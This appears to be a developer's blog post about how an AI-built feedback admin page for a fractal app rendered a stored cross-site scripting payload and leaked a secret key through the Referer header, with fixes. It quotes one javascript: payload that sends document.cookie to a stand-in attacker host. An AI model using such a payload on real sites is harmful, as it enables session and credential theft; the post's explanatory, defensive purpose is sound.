The Feedback Form That Rendered the Attack

The page most likely to run an attacker's code is the page you built to read what users sent you. I let an AI build a feedback admin for a small fractal app. It did the obvious thing. It rendered the feedback. It rendered all of it, including the part of "feedback" that was never feedback at all.

Operating Conditions

The app is called fractbox. People draw fractals, and a feedback form lets them send a note, sometimes with a URL to a fractal they want me to look at. The notes land in a table. I asked the AI for an admin page so I could read them. One screen. A list of submissions, each with the message and an "open fractal" link built from the URL the user typed.

This is the most boring task on earth. Read rows, print rows. The AI wrote it in one pass and it looked right. Message in a paragraph. URL in an anchor tag. <a href={submission.url}>open fractal</a>. Click the link, see the fractal. The demo worked. It always works.

The page had two jobs. Display untrusted input, and provide a convenient link. It did both. It did them to me.

Failure Modes

The URL field is a text box on a public form. The AI treated it as a URL. An attacker treats it as whatever the browser will accept.

A browser accepts more than http. It accepts javascript:. So someone submits a "fractal URL" of javascript:fetch('https://evil.example/x?c='+document.cookie). The AI renders that straight into the href. Nothing executes on the public side. The form just stored a string. The string sits in the table, polite, dormant, waiting.

Then I open my admin page to read my feedback. The page renders the row. The anchor is now live on my screen, inside my authenticated session, pointed at my admin origin. I hover it. I click it, because I built this link to click. And the payload runs as me, in the one context that has every credential it wants.

That is stored cross-site scripting. The classic kind. The attacker writes once, into a quiet table, and the code fires later in a privileged context they could never reach directly. The form was the deposit. My eyeballs were the trigger. The page whose entire purpose was to show me untrusted input was the exact mechanism that executed it.

data: URLs do the same trick from a different door. A data:text/html link renders an attacker-authored document with my origin in the address bar. Same outcome. Different scheme.

There was a second hole, quieter, and arguably worse because it leaks even when nobody clicks anything malicious. The admin page made outbound requests. Loading it, following a legitimate link, all of it carried a Referer header. And the URL of my admin page contained a secret. A FEEDBACK_KEY in the query string, the thing that gated the page. Every outbound link handed that key to a third-party server in plain text, in a header I never thought about, logged on someone else's box forever. I was mailing the house key to strangers and stapling it to the back of every postcard.

Root Cause

The AI wrote the happy path. It always writes the happy path. It asked one question, silently, and answered it well. The question was "what does a user submit?" A user submits a fractal URL, so render a fractal link. Correct. Complete. Shipped.

It never asked the other question. "What does an attacker submit?" That question does not occur to it, because nothing in the task description points at it, and a stored-XSS payload does not show up in the demo. The demo is a person typing a normal URL and seeing a normal link. Green. The attack is invisible at exactly the moment the AI decides it is done.

This is the general failure, and it is the whole reason I am writing the first security post on this blog. AI does not threat-model. It models the cooperative user. It optimizes for the demo working, and the demo is always the friendly case. Threat-modeling is the discipline of assuming the input is hostile and asking what hostile input can reach. That discipline is absent. Not weak. Absent. You have to supply it from outside, every time, the same way you have to supply verification from outside, because the machine grades itself on whether the nice path runs and a security hole is precisely the thing that does not disturb the nice path.

And there is a second multiplier here that catches humans too. The admin page felt safe. It is internal. It is just for me. Nobody else has the link. So I dropped my guard, and so did the AI, because the framing of the task said "admin" and "admin" reads as "trusted." That instinct is exactly backwards. The page that reads attacker-controlled input is more dangerous when it runs in a privileged context, not less. "It's internal" is not a security boundary. "It's just an admin page" is not a security boundary. "It's just for me" means the blast radius is your most privileged session. The lower you think the stakes are, the less anyone validates, which is why the cozy internal tool is so often the soft entry.

The durable rule is short. Any surface that renders content you did not author is an attack surface. The feedback form. The admin reader. The log viewer. The Markdown preview. The dashboard that echoes a hostname. If a byte of it came from someone else, treat that byte as live ammunition, and treat "internal" as a description of who gets hurt, not a reason to relax.

Proposed Fix

The fix is not clever. None of the good ones are.

For the link, stop trusting the scheme. Parse the URL. If it is http or https, render it as a clickable anchor. Anything else, render the raw text, inert, not a link at all. The user sees what they typed. The browser is never handed a javascript: or data: href to honor. The attacker's payload becomes a string on a page instead of code in my session. That is the entire commit. Allowlist the two schemes that are links. Treat every other string as text, because that is what it is.

const safe = url.protocol === "http:" || url.protocol === "https:";
// safe   -> render <a href>
// else   -> render plain text, not a link

For the leak, set Referrer-Policy: no-referrer on the admin response. Now outbound requests carry no Referer, the FEEDBACK_KEY stops walking out the door, and the secret stays on my side of the wire. One header. It should have been there from the first line.

Both fixes share a shape. Decide what is allowed, allow only that, and make the default refusal, not permission. The AI's default was permission. Render whatever, link whatever, send whatever. Security is mostly the work of replacing "whatever" with a list.

System Status

The page works. It always worked, for the friendly user, which is the trap. What changed is that it now assumes the next submission is an attack and renders it as if it were, because one of them eventually will be, and the page exists specifically to put that submission in front of my most privileged eyes.

So when an AI builds you a screen that displays anything a stranger can send, do not ask whether the demo renders. Ask what runs when the input is hostile, ask which secrets ride along in headers you forgot exist, and assume "it's just the admin page" is the sentence written on the door the attacker walks through.

Where has a tool you built to read untrusted input turned around and run it on you? Tell me the mechanism, the scheme or the header or the trusted-because-internal assumption, not just that you got popped.

Further Reading

• It Said Deployed: the same blind spot in the verification direction. A check that passed because it was more permissive than the real client.
• The Reward Was the Bug: why the model optimizes for the demo working and leaves the rest, the hostile input included, unscored.